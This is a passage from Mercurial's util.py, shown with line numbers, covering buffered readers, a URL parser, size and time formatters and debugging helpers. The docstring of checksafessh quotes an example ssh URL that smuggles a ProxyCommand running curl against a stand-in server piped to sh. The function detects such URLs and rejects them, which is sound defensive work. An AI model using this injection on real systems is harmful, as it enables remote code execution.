2440 2438 Returns less than L bytes if the iterator runs dry.
2441 2439
2442 2440 If size parameter is omitted, read everything"""
2443 2441 if l is None:
2444 2442 return ''.join(self.iter)
2445 2443
2446 2444 left = l
2447 2445 buf = []
2448 2446 queue = self._queue
2449 2447 while left > 0:
2450 2448 # refill the queue
2451 2449 if not queue:
2452 2450 target = 2**18
2453 2451 for chunk in self.iter:
2454 2452 queue.append(chunk)
2455 2453 target -= len(chunk)
2456 2454 if target <= 0:
2457 2455 break
2458 2456 if not queue:
2459 2457 break
2460 2458
2461 2459 # The easy way to do this would be to queue.popleft(), modify the
2462 2460 # chunk (if necessary), then queue.appendleft(). However, for cases
2463 2461 # where we read partial chunk content, this incurs 2 dequeue
2464 2462 # mutations and creates a new str for the remaining chunk in the
2465 2463 # queue. Our code below avoids this overhead.
2466 2464
2467 2465 chunk = queue[0]
2468 2466 chunkl = len(chunk)
2469 2467 offset = self._chunkoffset
2470 2468
2471 2469 # Use full chunk.
2472 2470 if offset == 0 and left >= chunkl:
2473 2471 left -= chunkl
2474 2472 queue.popleft()
2475 2473 buf.append(chunk)
2476 2474 # self._chunkoffset remains at 0.
2477 2475 continue
2478 2476
2479 2477 chunkremaining = chunkl - offset
2480 2478
2481 2479 # Use all of unconsumed part of chunk.
2482 2480 if left >= chunkremaining:
2483 2481 left -= chunkremaining
2484 2482 queue.popleft()
2485 2483 # offset == 0 is enabled by block above, so this won't merely
2486 2484 # copy via ``chunk[0:]``.
2487 2485 buf.append(chunk[offset:])
2488 2486 self._chunkoffset = 0
2489 2487
2490 2488 # Partial chunk needed.
2491 2489 else:
2492 2490 buf.append(chunk[offset:offset + left])
2493 2491 self._chunkoffset += left
2494 2492 left -= chunkremaining
2495 2493
2496 2494 return ''.join(buf)
2497 2495
2498 2496 def filechunkiter(f, size=131072, limit=None):
2499 2497 """Create a generator that produces the data in the file size
2500 2498 (default 131072) bytes at a time, up to optional limit (default is
2501 2499 to read all data). Chunks may be less than size bytes if the
2502 2500 chunk is the last chunk in the file, or the file is a socket or
2503 2501 some other type of file that sometimes reads less data than is
2504 2502 requested."""
2505 2503 assert size >= 0
2506 2504 assert limit is None or limit >= 0
2507 2505 while True:
2508 2506 if limit is None:
2509 2507 nbytes = size
2510 2508 else:
2511 2509 nbytes = min(limit, size)
2512 2510 s = nbytes and f.read(nbytes)
2513 2511 if not s:
2514 2512 break
2515 2513 if limit:
2516 2514 limit -= len(s)
2517 2515 yield s
2518 2516
2519 2517 class cappedreader(object):
2520 2518 """A file object proxy that allows reading up to N bytes.
2521 2519
2522 2520 Given a source file object, instances of this type allow reading up to
2523 2521 N bytes from that source file object. Attempts to read past the allowed
2524 2522 limit are treated as EOF.
2525 2523
2526 2524 It is assumed that I/O is not performed on the original file object
2527 2525 in addition to I/O that is performed by this instance. If there is,
2528 2526 state tracking will get out of sync and unexpected results will ensue.
2529 2527 """
2530 2528 def __init__(self, fh, limit):
2531 2529 """Allow reading up to <limit> bytes from <fh>."""
2532 2530 self._fh = fh
2533 2531 self._left = limit
2534 2532
2535 2533 def read(self, n=-1):
2536 2534 if not self._left:
2537 2535 return b''
2538 2536
2539 2537 if n < 0:
2540 2538 n = self._left
2541 2539
2542 2540 data = self._fh.read(min(n, self._left))
2543 2541 self._left -= len(data)
2544 2542 assert self._left >= 0
2545 2543
2546 2544 return data
2547 2545
2548 2546 def readinto(self, b):
2549 2547 res = self.read(len(b))
2550 2548 if res is None:
2551 2549 return None
2552 2550
2553 2551 b[0:len(res)] = res
2554 2552 return len(res)
2555 2553
2556 2554 def unitcountfn(*unittable):
2557 2555 '''return a function that renders a readable count of some quantity'''
2558 2556
2559 2557 def go(count):
2560 2558 for multiplier, divisor, format in unittable:
2561 2559 if abs(count) >= divisor * multiplier:
2562 2560 return format % (count / float(divisor))
2563 2561 return unittable[-1][2] % count
2564 2562
2565 2563 return go
2566 2564
2567 2565 def processlinerange(fromline, toline):
2568 2566 """Check that linerange <fromline>:<toline> makes sense and return a
2569 2567 0-based range.
2570 2568
2571 2569 >>> processlinerange(10, 20)
2572 2570 (9, 20)
2573 2571 >>> processlinerange(2, 1)
2574 2572 Traceback (most recent call last):
2575 2573 ...
2576 2574 ParseError: line range must be positive
2577 2575 >>> processlinerange(0, 5)
2578 2576 Traceback (most recent call last):
2579 2577 ...
2580 2578 ParseError: fromline must be strictly positive
2581 2579 """
2582 2580 if toline - fromline < 0:
2583 2581 raise error.ParseError(_("line range must be positive"))
2584 2582 if fromline < 1:
2585 2583 raise error.ParseError(_("fromline must be strictly positive"))
2586 2584 return fromline - 1, toline
2587 2585
2588 2586 bytecount = unitcountfn(
2589 2587 (100, 1 << 30, _('%.0f GB')),
2590 2588 (10, 1 << 30, _('%.1f GB')),
2591 2589 (1, 1 << 30, _('%.2f GB')),
2592 2590 (100, 1 << 20, _('%.0f MB')),
2593 2591 (10, 1 << 20, _('%.1f MB')),
2594 2592 (1, 1 << 20, _('%.2f MB')),
2595 2593 (100, 1 << 10, _('%.0f KB')),
2596 2594 (10, 1 << 10, _('%.1f KB')),
2597 2595 (1, 1 << 10, _('%.2f KB')),
2598 2596 (1, 1, _('%.0f bytes')),
2599 2597 )
2600 2598
2601 2599 class transformingwriter(object):
2602 2600 """Writable file wrapper to transform data by function"""
2603 2601
2604 2602 def __init__(self, fp, encode):
2605 2603 self._fp = fp
2606 2604 self._encode = encode
2607 2605
2608 2606 def close(self):
2609 2607 self._fp.close()
2610 2608
2611 2609 def flush(self):
2612 2610 self._fp.flush()
2613 2611
2614 2612 def write(self, data):
2615 2613 return self._fp.write(self._encode(data))
2616 2614
2617 2615 # Matches a single EOL which can either be a CRLF where repeated CR
2618 2616 # are removed or a LF. We do not care about old Macintosh files, so a
2619 2617 # stray CR is an error.
2620 2618 _eolre = remod.compile(br'\r*\n')
2621 2619
2622 2620 def tolf(s):
2623 2621 return _eolre.sub('\n', s)
2624 2622
2625 2623 def tocrlf(s):
2626 2624 return _eolre.sub('\r\n', s)
2627 2625
2628 2626 def _crlfwriter(fp):
2629 2627 return transformingwriter(fp, tocrlf)
2630 2628
2631 2629 if pycompat.oslinesep == '\r\n':
2632 2630 tonativeeol = tocrlf
2633 2631 fromnativeeol = tolf
2634 2632 nativeeolwriter = _crlfwriter
2635 2633 else:
2636 2634 tonativeeol = pycompat.identity
2637 2635 fromnativeeol = pycompat.identity
2638 2636 nativeeolwriter = pycompat.identity
2639 2637
2640 2638 if (pyplatform.python_implementation() == 'CPython' and
2641 2639 sys.version_info < (3, 0)):
2642 2640 # There is an issue in CPython that some IO methods do not handle EINTR
2643 2641 # correctly. The following table shows what CPython version (and functions)
2644 2642 # are affected (buggy: has the EINTR bug, okay: otherwise):
2645 2643 #
2646 2644 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2647 2645 # --------------------------------------------------
2648 2646 # fp.__iter__ | buggy | buggy | okay
2649 2647 # fp.read* | buggy | okay [1] | okay
2650 2648 #
2651 2649 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2652 2650 #
2653 2651 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2654 2652 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2655 2653 #
2656 2654 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2657 2655 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2658 2656 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2659 2657 # fp.__iter__ but not other fp.read* methods.
2660 2658 #
2661 2659 # On modern systems like Linux, the "read" syscall cannot be interrupted
2662 2660 # when reading "fast" files like on-disk files. So the EINTR issue only
2663 2661 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2664 2662 # files approximately as "fast" files and use the fast (unsafe) code path,
2665 2663 # to minimize the performance impact.
2666 2664 if sys.version_info >= (2, 7, 4):
2667 2665 # fp.readline deals with EINTR correctly, use it as a workaround.
2668 2666 def _safeiterfile(fp):
2669 2667 return iter(fp.readline, '')
2670 2668 else:
2671 2669 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2672 2670 # note: this may block longer than necessary because of bufsize.
2673 2671 def _safeiterfile(fp, bufsize=4096):
2674 2672 fd = fp.fileno()
2675 2673 line = ''
2676 2674 while True:
2677 2675 try:
2678 2676 buf = os.read(fd, bufsize)
2679 2677 except OSError as ex:
2680 2678 # os.read only raises EINTR before any data is read
2681 2679 if ex.errno == errno.EINTR:
2682 2680 continue
2683 2681 else:
2684 2682 raise
2685 2683 line += buf
2686 2684 if '\n' in buf:
2687 2685 splitted = line.splitlines(True)
2688 2686 line = ''
2689 2687 for l in splitted:
2690 2688 if l[-1] == '\n':
2691 2689 yield l
2692 2690 else:
2693 2691 line = l
2694 2692 if not buf:
2695 2693 break
2696 2694 if line:
2697 2695 yield line
2698 2696
2699 2697 def iterfile(fp):
2700 2698 fastpath = True
2701 2699 if type(fp) is file:
2702 2700 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2703 2701 if fastpath:
2704 2702 return fp
2705 2703 else:
2706 2704 return _safeiterfile(fp)
2707 2705 else:
2708 2706 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2709 2707 def iterfile(fp):
2710 2708 return fp
2711 2709
2712 2710 def iterlines(iterator):
2713 2711 for chunk in iterator:
2714 2712 for line in chunk.splitlines():
2715 2713 yield line
2716 2714
2717 2715 def expandpath(path):
2718 2716 return os.path.expanduser(os.path.expandvars(path))
2719 2717
2720 2718 def hgcmd():
2721 2719 """Return the command used to execute current hg
2722 2720
2723 2721 This is different from hgexecutable() because on Windows we want
2724 2722 to avoid things opening new shell windows like batch files, so we
2725 2723 get either the python call or current executable.
2726 2724 """
2727 2725 if mainfrozen():
2728 2726 if getattr(sys, 'frozen', None) == 'macosx_app':
2729 2727 # Env variable set by py2app
2730 2728 return [encoding.environ['EXECUTABLEPATH']]
2731 2729 else:
2732 2730 return [pycompat.sysexecutable]
2733 2731 return gethgcmd()
2734 2732
2735 2733 def rundetached(args, condfn):
2736 2734 """Execute the argument list in a detached process.
2737 2735
2738 2736 condfn is a callable which is called repeatedly and should return
2739 2737 True once the child process is known to have started successfully.
2740 2738 At this point, the child process PID is returned. If the child
2741 2739 process fails to start or finishes before condfn() evaluates to
2742 2740 True, return -1.
2743 2741 """
2744 2742 # Windows case is easier because the child process is either
2745 2743 # successfully starting and validating the condition or exiting
2746 2744 # on failure. We just poll on its PID. On Unix, if the child
2747 2745 # process fails to start, it will be left in a zombie state until
2748 2746 # the parent wait on it, which we cannot do since we expect a long
2749 2747 # running process on success. Instead we listen for SIGCHLD telling
2750 2748 # us our child process terminated.
2751 2749 terminated = set()
2752 2750 def handler(signum, frame):
2753 2751 terminated.add(os.wait())
2754 2752 prevhandler = None
2755 2753 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2756 2754 if SIGCHLD is not None:
2757 2755 prevhandler = signal.signal(SIGCHLD, handler)
2758 2756 try:
2759 2757 pid = spawndetached(args)
2760 2758 while not condfn():
2761 2759 if ((pid in terminated or not testpid(pid))
2762 2760 and not condfn()):
2763 2761 return -1
2764 2762 time.sleep(0.1)
2765 2763 return pid
2766 2764 finally:
2767 2765 if prevhandler is not None:
2768 2766 signal.signal(signal.SIGCHLD, prevhandler)
2769 2767
2770 2768 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2771 2769 """Return the result of interpolating items in the mapping into string s.
2772 2770
2773 2771 prefix is a single character string, or a two character string with
2774 2772 a backslash as the first character if the prefix needs to be escaped in
2775 2773 a regular expression.
2776 2774
2777 2775 fn is an optional function that will be applied to the replacement text
2778 2776 just before replacement.
2779 2777
2780 2778 escape_prefix is an optional flag that allows using doubled prefix for
2781 2779 its escaping.
2782 2780 """
2783 2781 fn = fn or (lambda s: s)
2784 2782 patterns = '|'.join(mapping.keys())
2785 2783 if escape_prefix:
2786 2784 patterns += '|' + prefix
2787 2785 if len(prefix) > 1:
2788 2786 prefix_char = prefix[1:]
2789 2787 else:
2790 2788 prefix_char = prefix
2791 2789 mapping[prefix_char] = prefix_char
2792 2790 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2793 2791 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2794 2792
2795 2793 def getport(port):
2796 2794 """Return the port for a given network service.
2797 2795
2798 2796 If port is an integer, it's returned as is. If it's a string, it's
2799 2797 looked up using socket.getservbyname(). If there's no matching
2800 2798 service, error.Abort is raised.
2801 2799 """
2802 2800 try:
2803 2801 return int(port)
2804 2802 except ValueError:
2805 2803 pass
2806 2804
2807 2805 try:
2808 2806 return socket.getservbyname(pycompat.sysstr(port))
2809 2807 except socket.error:
2810 2808 raise error.Abort(_("no port number associated with service '%s'")
2811 2809 % port)
2812 2810
2813 2811 class url(object):
2814 2812 r"""Reliable URL parser.
2815 2813
2816 2814 This parses URLs and provides attributes for the following
2817 2815 components:
2818 2816
2819 2817 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2820 2818
2821 2819 Missing components are set to None. The only exception is
2822 2820 fragment, which is set to '' if present but empty.
2823 2821
2824 2822 If parsefragment is False, fragment is included in query. If
2825 2823 parsequery is False, query is included in path. If both are
2826 2824 False, both fragment and query are included in path.
2827 2825
2828 2826 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2829 2827
2830 2828 Note that for backward compatibility reasons, bundle URLs do not
2831 2829 take host names. That means 'bundle://../' has a path of '../'.
2832 2830
2833 2831 Examples:
2834 2832
2835 2833 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2836 2834 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2837 2835 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2838 2836 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2839 2837 >>> url(b'file:///home/joe/repo')
2840 2838 <url scheme: 'file', path: '/home/joe/repo'>
2841 2839 >>> url(b'file:///c:/temp/foo/')
2842 2840 <url scheme: 'file', path: 'c:/temp/foo/'>
2843 2841 >>> url(b'bundle:foo')
2844 2842 <url scheme: 'bundle', path: 'foo'>
2845 2843 >>> url(b'bundle://../foo')
2846 2844 <url scheme: 'bundle', path: '../foo'>
2847 2845 >>> url(br'c:\foo\bar')
2848 2846 <url path: 'c:\\foo\\bar'>
2849 2847 >>> url(br'\\blah\blah\blah')
2850 2848 <url path: '\\\\blah\\blah\\blah'>
2851 2849 >>> url(br'\\blah\blah\blah#baz')
2852 2850 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2853 2851 >>> url(br'file:///C:\users\me')
2854 2852 <url scheme: 'file', path: 'C:\\users\\me'>
2855 2853
2856 2854 Authentication credentials:
2857 2855
2858 2856 >>> url(b'ssh://joe:xyz@x/repo')
2859 2857 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2860 2858 >>> url(b'ssh://joe@x/repo')
2861 2859 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2862 2860
2863 2861 Query strings and fragments:
2864 2862
2865 2863 >>> url(b'http://host/a?b#c')
2866 2864 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2867 2865 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2868 2866 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2869 2867
2870 2868 Empty path:
2871 2869
2872 2870 >>> url(b'')
2873 2871 <url path: ''>
2874 2872 >>> url(b'#a')
2875 2873 <url path: '', fragment: 'a'>
2876 2874 >>> url(b'http://host/')
2877 2875 <url scheme: 'http', host: 'host', path: ''>
2878 2876 >>> url(b'http://host/#a')
2879 2877 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2880 2878
2881 2879 Only scheme:
2882 2880
2883 2881 >>> url(b'http:')
2884 2882 <url scheme: 'http'>
2885 2883 """
2886 2884
2887 2885 _safechars = "!~*'()+"
2888 2886 _safepchars = "/!~*'()+:\\"
2889 2887 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2890 2888
2891 2889 def __init__(self, path, parsequery=True, parsefragment=True):
2892 2890 # We slowly chomp away at path until we have only the path left
2893 2891 self.scheme = self.user = self.passwd = self.host = None
2894 2892 self.port = self.path = self.query = self.fragment = None
2895 2893 self._localpath = True
2896 2894 self._hostport = ''
2897 2895 self._origpath = path
2898 2896
2899 2897 if parsefragment and '#' in path:
2900 2898 path, self.fragment = path.split('#', 1)
2901 2899
2902 2900 # special case for Windows drive letters and UNC paths
2903 2901 if hasdriveletter(path) or path.startswith('\\\\'):
2904 2902 self.path = path
2905 2903 return
2906 2904
2907 2905 # For compatibility reasons, we can't handle bundle paths as
2908 2906 # normal URLS
2909 2907 if path.startswith('bundle:'):
2910 2908 self.scheme = 'bundle'
2911 2909 path = path[7:]
2912 2910 if path.startswith('//'):
2913 2911 path = path[2:]
2914 2912 self.path = path
2915 2913 return
2916 2914
2917 2915 if self._matchscheme(path):
2918 2916 parts = path.split(':', 1)
2919 2917 if parts[0]:
2920 2918 self.scheme, path = parts
2921 2919 self._localpath = False
2922 2920
2923 2921 if not path:
2924 2922 path = None
2925 2923 if self._localpath:
2926 2924 self.path = ''
2927 2925 return
2928 2926 else:
2929 2927 if self._localpath:
2930 2928 self.path = path
2931 2929 return
2932 2930
2933 2931 if parsequery and '?' in path:
2934 2932 path, self.query = path.split('?', 1)
2935 2933 if not path:
2936 2934 path = None
2937 2935 if not self.query:
2938 2936 self.query = None
2939 2937
2940 2938 # // is required to specify a host/authority
2941 2939 if path and path.startswith('//'):
2942 2940 parts = path[2:].split('/', 1)
2943 2941 if len(parts) > 1:
2944 2942 self.host, path = parts
2945 2943 else:
2946 2944 self.host = parts[0]
2947 2945 path = None
2948 2946 if not self.host:
2949 2947 self.host = None
2950 2948 # path of file:///d is /d
2951 2949 # path of file:///d:/ is d:/, not /d:/
2952 2950 if path and not hasdriveletter(path):
2953 2951 path = '/' + path
2954 2952
2955 2953 if self.host and '@' in self.host:
2956 2954 self.user, self.host = self.host.rsplit('@', 1)
2957 2955 if ':' in self.user:
2958 2956 self.user, self.passwd = self.user.split(':', 1)
2959 2957 if not self.host:
2960 2958 self.host = None
2961 2959
2962 2960 # Don't split on colons in IPv6 addresses without ports
2963 2961 if (self.host and ':' in self.host and
2964 2962 not (self.host.startswith('[') and self.host.endswith(']'))):
2965 2963 self._hostport = self.host
2966 2964 self.host, self.port = self.host.rsplit(':', 1)
2967 2965 if not self.host:
2968 2966 self.host = None
2969 2967
2970 2968 if (self.host and self.scheme == 'file' and
2971 2969 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2972 2970 raise error.Abort(_('file:// URLs can only refer to localhost'))
2973 2971
2974 2972 self.path = path
2975 2973
2976 2974 # leave the query string escaped
2977 2975 for a in ('user', 'passwd', 'host', 'port',
2978 2976 'path', 'fragment'):
2979 2977 v = getattr(self, a)
2980 2978 if v is not None:
2981 2979 setattr(self, a, urlreq.unquote(v))
2982 2980
2983 2981 @encoding.strmethod
2984 2982 def __repr__(self):
2985 2983 attrs = []
2986 2984 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2987 2985 'query', 'fragment'):
2988 2986 v = getattr(self, a)
2989 2987 if v is not None:
2990 2988 attrs.append('%s: %r' % (a, v))
2991 2989 return '<url %s>' % ', '.join(attrs)
2992 2990
2993 2991 def __bytes__(self):
2994 2992 r"""Join the URL's components back into a URL string.
2995 2993
2996 2994 Examples:
2997 2995
2998 2996 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2999 2997 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3000 2998 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3001 2999 'http://user:pw@host:80/?foo=bar&baz=42'
3002 3000 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3003 3001 'http://user:pw@host:80/?foo=bar%3dbaz'
3004 3002 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3005 3003 'ssh://user:pw@[::1]:2200//home/joe#'
3006 3004 >>> bytes(url(b'http://localhost:80//'))
3007 3005 'http://localhost:80//'
3008 3006 >>> bytes(url(b'http://localhost:80/'))
3009 3007 'http://localhost:80/'
3010 3008 >>> bytes(url(b'http://localhost:80'))
3011 3009 'http://localhost:80/'
3012 3010 >>> bytes(url(b'bundle:foo'))
3013 3011 'bundle:foo'
3014 3012 >>> bytes(url(b'bundle://../foo'))
3015 3013 'bundle:../foo'
3016 3014 >>> bytes(url(b'path'))
3017 3015 'path'
3018 3016 >>> bytes(url(b'file:///tmp/foo/bar'))
3019 3017 'file:///tmp/foo/bar'
3020 3018 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3021 3019 'file:///c:/tmp/foo/bar'
3022 3020 >>> print(url(br'bundle:foo\bar'))
3023 3021 bundle:foo\bar
3024 3022 >>> print(url(br'file:///D:\data\hg'))
3025 3023 file:///D:\data\hg
3026 3024 """
3027 3025 if self._localpath:
3028 3026 s = self.path
3029 3027 if self.scheme == 'bundle':
3030 3028 s = 'bundle:' + s
3031 3029 if self.fragment:
3032 3030 s += '#' + self.fragment
3033 3031 return s
3034 3032
3035 3033 s = self.scheme + ':'
3036 3034 if self.user or self.passwd or self.host:
3037 3035 s += '//'
3038 3036 elif self.scheme and (not self.path or self.path.startswith('/')
3039 3037 or hasdriveletter(self.path)):
3040 3038 s += '//'
3041 3039 if hasdriveletter(self.path):
3042 3040 s += '/'
3043 3041 if self.user:
3044 3042 s += urlreq.quote(self.user, safe=self._safechars)
3045 3043 if self.passwd:
3046 3044 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
3047 3045 if self.user or self.passwd:
3048 3046 s += '@'
3049 3047 if self.host:
3050 3048 if not (self.host.startswith('[') and self.host.endswith(']')):
3051 3049 s += urlreq.quote(self.host)
3052 3050 else:
3053 3051 s += self.host
3054 3052 if self.port:
3055 3053 s += ':' + urlreq.quote(self.port)
3056 3054 if self.host:
3057 3055 s += '/'
3058 3056 if self.path:
3059 3057 # TODO: similar to the query string, we should not unescape the
3060 3058 # path when we store it, the path might contain '%2f' = '/',
3061 3059 # which we should *not* escape.
3062 3060 s += urlreq.quote(self.path, safe=self._safepchars)
3063 3061 if self.query:
3064 3062 # we store the query in escaped form.
3065 3063 s += '?' + self.query
3066 3064 if self.fragment is not None:
3067 3065 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
3068 3066 return s
3069 3067
3070 3068 __str__ = encoding.strmethod(__bytes__)
3071 3069
3072 3070 def authinfo(self):
3073 3071 user, passwd = self.user, self.passwd
3074 3072 try:
3075 3073 self.user, self.passwd = None, None
3076 3074 s = bytes(self)
3077 3075 finally:
3078 3076 self.user, self.passwd = user, passwd
3079 3077 if not self.user:
3080 3078 return (s, None)
3081 3079 # authinfo[1] is passed to urllib2 password manager, and its
3082 3080 # URIs must not contain credentials. The host is passed in the
3083 3081 # URIs list because Python < 2.4.3 uses only that to search for
3084 3082 # a password.
3085 3083 return (s, (None, (s, self.host),
3086 3084 self.user, self.passwd or ''))
3087 3085
3088 3086 def isabs(self):
3089 3087 if self.scheme and self.scheme != 'file':
3090 3088 return True # remote URL
3091 3089 if hasdriveletter(self.path):
3092 3090 return True # absolute for our purposes - can't be joined()
3093 3091 if self.path.startswith(br'\\'):
3094 3092 return True # Windows UNC path
3095 3093 if self.path.startswith('/'):
3096 3094 return True # POSIX-style
3097 3095 return False
3098 3096
3099 3097 def localpath(self):
3100 3098 if self.scheme == 'file' or self.scheme == 'bundle':
3101 3099 path = self.path or '/'
3102 3100 # For Windows, we need to promote hosts containing drive
3103 3101 # letters to paths with drive letters.
3104 3102 if hasdriveletter(self._hostport):
3105 3103 path = self._hostport + '/' + self.path
3106 3104 elif (self.host is not None and self.path
3107 3105 and not hasdriveletter(path)):
3108 3106 path = '/' + path
3109 3107 return path
3110 3108 return self._origpath
3111 3109
3112 3110 def islocal(self):
3113 3111 '''whether localpath will return something that posixfile can open'''
3114 3112 return (not self.scheme or self.scheme == 'file'
3115 3113 or self.scheme == 'bundle')
3116 3114
3117 3115 def hasscheme(path):
3118 3116 return bool(url(path).scheme)
3119 3117
3120 3118 def hasdriveletter(path):
3121 3119 return path and path[1:2] == ':' and path[0:1].isalpha()
3122 3120
3123 3121 def urllocalpath(path):
3124 3122 return url(path, parsequery=False, parsefragment=False).localpath()
3125 3123
3126 3124 def checksafessh(path):
3127 3125 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3128 3126
3129 3127 This is a sanity check for ssh urls. ssh will parse the first item as
3130 3128 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3131 3129 Let's prevent these potentially exploited urls entirely and warn the
3132 3130 user.
3133 3131
3134 3132 Raises an error.Abort when the url is unsafe.
3135 3133 """
3136 3134 path = urlreq.unquote(path)
3137 3135 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
3138 3136 raise error.Abort(_('potentially unsafe url: %r') %
3139 3137 (pycompat.bytestr(path),))
3140 3138
3141 3139 def hidepassword(u):
3142 3140 '''hide user credential in a url string'''
3143 3141 u = url(u)
3144 3142 if u.passwd:
3145 3143 u.passwd = '***'
3146 3144 return bytes(u)
3147 3145
3148 3146 def removeauth(u):
3149 3147 '''remove all authentication information from a url string'''
3150 3148 u = url(u)
3151 3149 u.user = u.passwd = None
3152 3150 return str(u)
3153 3151
3154 3152 timecount = unitcountfn(
3155 3153 (1, 1e3, _('%.0f s')),
3156 3154 (100, 1, _('%.1f s')),
3157 3155 (10, 1, _('%.2f s')),
3158 3156 (1, 1, _('%.3f s')),
3159 3157 (100, 0.001, _('%.1f ms')),
3160 3158 (10, 0.001, _('%.2f ms')),
3161 3159 (1, 0.001, _('%.3f ms')),
3162 3160 (100, 0.000001, _('%.1f us')),
3163 3161 (10, 0.000001, _('%.2f us')),
3164 3162 (1, 0.000001, _('%.3f us')),
3165 3163 (100, 0.000000001, _('%.1f ns')),
3166 3164 (10, 0.000000001, _('%.2f ns')),
3167 3165 (1, 0.000000001, _('%.3f ns')),
3168 3166 )
3169 3167
3170 3168 _timenesting = [0]
3171 3169
3172 3170 def timed(func):
3173 3171 '''Report the execution time of a function call to stderr.
3174 3172
3175 3173 During development, use as a decorator when you need to measure
3176 3174 the cost of a function, e.g. as follows:
3177 3175
3178 3176 @util.timed
3179 3177 def foo(a, b, c):
3180 3178 pass
3181 3179 '''
3182 3180
3183 3181 def wrapper(*args, **kwargs):
3184 3182 start = timer()
3185 3183 indent = 2
3186 3184 _timenesting[0] += indent
3187 3185 try:
3188 3186 return func(*args, **kwargs)
3189 3187 finally:
3190 3188 elapsed = timer() - start
3191 3189 _timenesting[0] -= indent
3192 3190 stderr.write('%s%s: %s\n' %
3193 3191 (' ' * _timenesting[0], func.__name__,
3194 3192 timecount(elapsed)))
3195 3193 return wrapper
3196 3194
3197 3195 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3198 3196 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3199 3197
3200 3198 def sizetoint(s):
3201 3199 '''Convert a space specifier to a byte count.
3202 3200
3203 3201 >>> sizetoint(b'30')
3204 3202 30
3205 3203 >>> sizetoint(b'2.2kb')
3206 3204 2252
3207 3205 >>> sizetoint(b'6M')
3208 3206 6291456
3209 3207 '''
3210 3208 t = s.strip().lower()
3211 3209 try:
3212 3210 for k, u in _sizeunits:
3213 3211 if t.endswith(k):
3214 3212 return int(float(t[:-len(k)]) * u)
3215 3213 return int(t)
3216 3214 except ValueError:
3217 3215 raise error.ParseError(_("couldn't parse size: %s") % s)
3218 3216
3219 3217 class hooks(object):
3220 3218 '''A collection of hook functions that can be used to extend a
3221 3219 function's behavior. Hooks are called in lexicographic order,
3222 3220 based on the names of their sources.'''
3223 3221
3224 3222 def __init__(self):
3225 3223 self._hooks = []
3226 3224
3227 3225 def add(self, source, hook):
3228 3226 self._hooks.append((source, hook))
3229 3227
3230 3228 def __call__(self, *args):
3231 3229 self._hooks.sort(key=lambda x: x[0])
3232 3230 results = []
3233 3231 for source, hook in self._hooks:
3234 3232 results.append(hook(*args))
3235 3233 return results
3236 3234
3237 3235 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
3238 3236 '''Yields lines for a nicely formatted stacktrace.
3239 3237 Skips the 'skip' last entries, then return the last 'depth' entries.
3240 3238 Each file+linenumber is formatted according to fileline.
3241 3239 Each line is formatted according to line.
3242 3240 If line is None, it yields:
3243 3241 length of longest filepath+line number,
3244 3242 filepath+linenumber,
3245 3243 function
3246 3244
3247 3245 Not be used in production code but very convenient while developing.
3248 3246 '''
3249 3247 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3250 3248 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3251 3249 ][-depth:]
3252 3250 if entries:
3253 3251 fnmax = max(len(entry[0]) for entry in entries)
3254 3252 for fnln, func in entries:
3255 3253 if line is None:
3256 3254 yield (fnmax, fnln, func)
3257 3255 else:
3258 3256 yield line % (fnmax, fnln, func)
3259 3257
3260 3258 def debugstacktrace(msg='stacktrace', skip=0,
3261 3259 f=stderr, otherf=stdout, depth=0):
3262 3260 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3263 3261 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3264 3262 By default it will flush stdout first.
3265 3263 It can be used everywhere and intentionally does not require an ui object.
3266 3264 Not be used in production code but very convenient while developing.
3267 3265 '''
3268 3266 if otherf:
3269 3267 otherf.flush()
3270 3268 f.write('%s at:\n' % msg.rstrip())
3271 3269 for line in getstackframes(skip + 1, depth=depth):
